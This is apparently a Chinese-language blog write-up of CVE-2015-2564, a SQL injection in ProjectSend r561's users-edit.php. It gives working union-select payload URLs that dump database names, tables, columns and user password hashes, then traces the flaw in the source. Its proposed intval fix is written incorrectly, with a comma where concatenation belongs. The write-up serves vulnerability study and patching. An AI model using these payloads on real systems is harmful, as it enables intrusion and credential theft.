您的位置:首页 > 数据库

[漏洞分析] ProjectSend r561中SQL注入漏洞的浅析

2015-04-26 13:59 567 查看
此漏洞的漏洞编号分别为CVE-2015-2564, EDBID:36303, OSVDB:119169

在exploit-db.com网站上可下载到存在漏洞的程序源码:https://www.exploit-db.com/exploits/36303/

我搭建了环境,并对漏洞进行了利用,最后对源代码的漏洞进行了分析,便有了此文。

此软件的官网为:http://www.projectsend.org/

官网中对于软件的介绍如下:

“ProjectSend is a self-hosted application (you can install it easily on your own VPS or shared web hosting account) that lets you upload files and assign them to specific clients that you create yourself! Secure, private and easy. No more depending on external
services or e-mail to send those files!ProjectSend is made in php and uses a MySQL database to store the information. Please see that your server has at least php 5.2 and MySQL 5 or better to run the software. Apache 2 is recommended but PS should also work
on IIS.”

安装时,includes文件夹下有个文件名为sys.config.sample.php,此文件中需要配置本地数据库的信息,配置完成后,还需要将文件改名为sys.config.php,随后便可安装程序。实验中,我设置了两个用户分别名为navyofficer和csiofficer。出现问题的网页为users-edit.php,这是一个编辑用户信息的网页。

用手工的方法对漏洞进行利用:
http://example.com/users-edit.php?id=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 --



可以看到2,4,5三个位置有回显。
http://example.com/users-edit.php?id=2 union select 1,database(),3,version(),user(),6,7,8,9,10,11,12,13 -- 

在这三个位置中分别利用database(),version(),user()函数获得数据库名称,数据库版本以及用户信息。


http://example.com/users-edit.php?id=2 and 1=2 union select 1,2,3,4,group_concat(schema_name),6,7,8,9,10,11,12,13 from information_schema.schemata --

获得所有数据库的名称



http;//example.com/users-edit.php?id=2 and 1=2 union select 1,2,3,4,group_concat(table_name),6,7,8,9,10,11,12,13 from information_schema.tables where table_schema=0x3336333033 --

获得某数据库中所有表的名称



我们看到了一个名为tbl_users的表,下一步得到其中所有的列
http://example.com/users-edit.php?id=2 and 1=2 union select 1,2,3,4,group_concat(column_name),6,7,8,9,10,11,12,13 from information_schema.columns where table_name=0x74626c5f7573657273 --



在所有列中,user和password两列是需要的,因此dump出其中的内容
http://example.com/users-edit.php?id=2 and 1=2 union select 1,2,3,4,group_concat(user,0x3a,password),6,7,8,9,10,11,12,13 from tbl_users -- 



最终得到两个用户的登录信息

navyofficer:$2a$08$lThQb./YXpn6rvpfHJqlMegR.MZpc.tukN/pxFUW0GRfXa9DsbY4i

csiofficer:$2a$08$w/zolhepypejY8lEcMm6suMiTMVB.hx9NcKL.6y3jqs4/AQ0c0mDG

综上所述,是漏洞的利用过程,下面看一下源代码:



在第21行有:

$user_id = mysql_real_escape_string($_GET['id']);


它从URL中将参数id的值取下来,经过函数mysql_real_escape_string的简单安全处理后,赋值给变量$user_id

随后在第26行:

$page_status = (user_exists_id($user_id)) ? 1 : 2;
通过user_exitsts_id函数判断此ID下是否存在用户,如果存在则将1赋值给变量$page_status,此函数存在问题,当我们在URL中的id中写入SQL语句时,它仍然能够判断用户存在。

再往后执行到第38行:

if ($page_status === 1)
中的代码段,其中有个很明显的SQL语句在第39行

$editing = $database->query("SELECT * FROM tbl_users WHERE id=$user_id");


这句SQL语句中变量$user_id附近没有任何的保护措施,因此我们之前注入的SQL语句能够在此处得到执行。

如果需要加固的话,可以利用PHP的intval函数,将变量强制转化成数字型,,即将

$editing = $database->query("SELECT * FROM tbl_users WHERE id=$user_id");

改为:
$editing = $database->query("SELECT * FROM tbl_users WHERE id=",intval($user_id));

当再次输入URL时http://10.0.3.88/36303/users-edit.php?id=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13

2,4,5三个位置不会再有回显,表明修复是成功的。



后记:

为什么当在URL的id参数中输入SQL语句时,users-edit.php中的函数仍然能够返回正确的结果,以至于后面的SQL语句被利用呢?

对于这个问题,做了如下实验。

首先users-edit.php中的第26行有代码:

$page_status = (user_exists_id($user_id)) ? 1 : 2;

当攻击者在URL中的id参数后添加了SQL语句时,函数user_exists_id仍然返回1,表示用户存在。
我们看一下这个函数是怎么检查用户的。首先user_exists_id函数不在users-edit.php文件中,我们看到,此文件在第10行包含了

require_once('sys.includes.php');
打开sys.includes.php,我们发现函数user_exists_id仍然不在其中,随后查找到第27行,

require_once(ROOT_DIR.'/includes/functions.php');在functions.php文件的第43行,我们发现了函数user_exists_id
/**
* Check if a client id exists on the database.
* Used on the Edit client page.
*
* @return bool
*/
function client_exists_id($id)
{
global $database;
$id_exists = $database->query("SELECT * FROM tbl_users WHERE id='$id'");
$count_clients = mysql_num_rows($id_exists);
if($count_clients > 0){
return true;
}
else {
return false;
}
}
此函数是做了一个SQL查询:SELECT * FROM tbl_users WHERE id='$id',通过返回的项目数来判断条目是否存在,如果返回数大于0则表示存在,反之,即不存在。
当输入http://10.0.3.88/36303/users-edit.php?id=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13时,有如下操作,SELECT * FROM tbl_users WHERE id='2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13'



可见确实能够返回合法的结果,与SELECT * FROM tbl_users WHERE id='2'的结果相同。



因此user_exists_id函数返回正常,无法感知到id参数中有SQL语句。

当用于回显查询结果时,SQL语句如下:

SELECT * FROM tbl_users WHERE id=$user_id进行如下操作SELECT * FROM tbl_users WHERE id=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13 (注意没有了两个单引号)
返回两行结果,第二组信息返回到页面中,可被用来进行SQL注入。



完毕
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: